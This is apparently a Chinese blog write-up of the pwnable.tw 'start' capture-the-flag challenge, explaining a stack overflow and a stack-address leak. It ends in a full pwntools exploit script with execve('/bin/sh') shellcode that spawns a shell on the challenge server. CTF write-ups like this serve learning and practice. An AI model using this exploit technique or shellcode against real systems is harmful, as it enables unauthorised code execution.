【pwnable.tw 系列】start

概述:本题是pwn的入门级题目,几乎把所有利用的难度都降到最低,应该只是用来让入门者大致了解pwn题的玩法。

1、首先file start,可以看到这是一个32位的elf文件,静态编译,同时保留了符号信息;

file start

2、然后checksec start,可以看到几乎所有的安全缓解措施都关闭了,将利用的难度降到了最低;

checksec start

3、用IDA分析start,可以看到这是一个非常简单的程序,只有两个函数start和exit,其中exit函数只是简单退出程序,主要分析start函数。

start函数同样非常简单,主要做了两件事:调用sys_write函数打印出20字节长度的字符串"Let's start the CTF:"、调用sys_read函数读入60字节长度的字符串,这里很明显存在一个栈溢出,在这里先整理一下常规栈溢出的利用思路,因为本题中存在各种故意设计的巧合导致利用起来很简单,并不能完整反映出栈溢出的利用流程。

栈溢出利用思路:

(1)确认溢出点,以及计算出溢出的长度;

(2)判断以何种方式覆盖返回地址,即以什么复写返回地址来达到劫持执行流程的目的;

(3)将程序启用的安全缓解措施逐个绕过。

接下来,一边分析start函数一边解决上面三个问题。

start 函数

(1)start函数首先push esp,这是一个比较有意思的指令,本质就是在栈上保存了这个栈内存单元自己的地址,考虑到程序没有开启ASLR和PIE,所以如果我们能将这个保存在栈上的数据泄露出的话就解决了利用思路中的第二点,即以硬编码的方式复写返回地址劫持执行流程到shellcode;

(其实用硬编码的方式覆盖返回地址是很少用的方式,这种方式最简单,但是如果程序开启了PIE使得栈地址随机化或者复写的返回地址存在坏字节都会使得这种方式失败,常用的应该是与地址无关的解决办法)

(2)接下来push offset _exit,也就是将退出函数的地址压入堆栈,这实际上是压入函数的返回地址;

(3)接下来由于需要利用四个常用寄存器传参,所以先将其清空;

(4)接下来是通过sys_write系统调用来输出字符串"Let's start the CTF:",值得注意的是给ecx的传参方式:mov ecx, esp,表面上是将ecx指向上面push进栈中的字符串,也就是要打印的字符串,但也要认识到如果调用得当我们可以通过这个参数输出栈上的其他数据,比如在push esp指令中压入栈中的栈地址,这也是在解决利用思路中的第二点,也就是泄露栈地址;

(泄露栈地址的前提是栈地址是固定的,即没有开启PIE,否则是没有意义的。)

(5)接下来是通过sys_read系统调用来输入60个字节的字符,这很明显是栈溢出的溢出点,解决了利用思路中的第一点中找到溢出点的部分;

(6)接下来add esp, 14h,也就是将栈地址拉高20个字节,这是在清理自己使用的栈空间,依此可确定溢出长度为20个字节,这解决了利用思路中的第一点计算出溢出长度的部分,其他复杂情况下的溢出长度可以通过脚本来计算。

(实际上这一步涉及到不同语言的函数调用约定,传参以及空间清理等,在此不展开讨论)

(7)由于本程序没有开启NX或者canary,同时栈地址固定且已知,可以直接把shellcode复写在栈上劫持返回地址到shellcode,所以分析到这里就可以整理出完整的利用思路。

4、通过上面的讨论基本确定了利用思路(方式有多种,这里用最简单的思路):

首先在函数运行到读入字符串时通过栈溢出将返回地址覆盖为mov ecx, esp指令的地址,由于没有开启PIE,所以代码段的地址没有随机化,这个地址是固定且已知的,这样函数将把write和read系统调用再执行一遍,而且在第二次执行write系统调用时由于此时ecx指向第一条汇编指令push esp所保存的占内存单元的地址,所以这次write系统调用会输出那个栈单元的内存地址,这样我们就泄露出了栈地址,同时由于没有开启ASLR且不存在坏字节所以我们可以直接在第二次read系统调用中将shellcode溢出写在这个地址开始的栈内存中,并用这个地址覆盖返回地址,但是值得注意的是第二次还会有add esp,14h这条指令,所以实际覆盖点还要调高20个字节。

简单说,一共有两次栈溢出,第一次复写返回地址为 mov ecx, esp指令的地址来泄露栈地址,第二次溢出注入shellcode再利用第一次溢出获得的栈地址劫持流程到shellcode。

5、基于此思路写的exp如下,其中shellcode部分直接使用80h中断中的sys_execve(x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80):

# -*- coding:utf-8 -*-

"""

exp for pwnable.tw start.

by rafa.

"""

from pwn import  *

def exp():

    p = remote("chall.pwnable.tw", 10000)

    # 硬编码覆盖返回地址为 mov ecx, esp 指令所在地址

    payload = 'a' * 20 + p32(0x08048087)

    p.recvuntil(":")

    p.send(payload)

    # 第二次系统调用read时再次清理栈空间调高20字节

    addr = u32(p.recv(4)) + 20

    shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

    payload = "a" * 20 + p32(addr) + shellcode   

    p.send(payload)

    p.interactive()

if __name__ == '__main__':

    exp()

执行利用脚本获得shell,利用结果截图如下:

start_exp.py

查看flag如下:

flag
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,445评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,889评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,047评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,760评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,745评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,638评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,011评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,669评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,923评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,655评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,740评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,406评论 4 320
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,995评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,961评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,023评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,483评论 2 342

推荐阅读更多精彩内容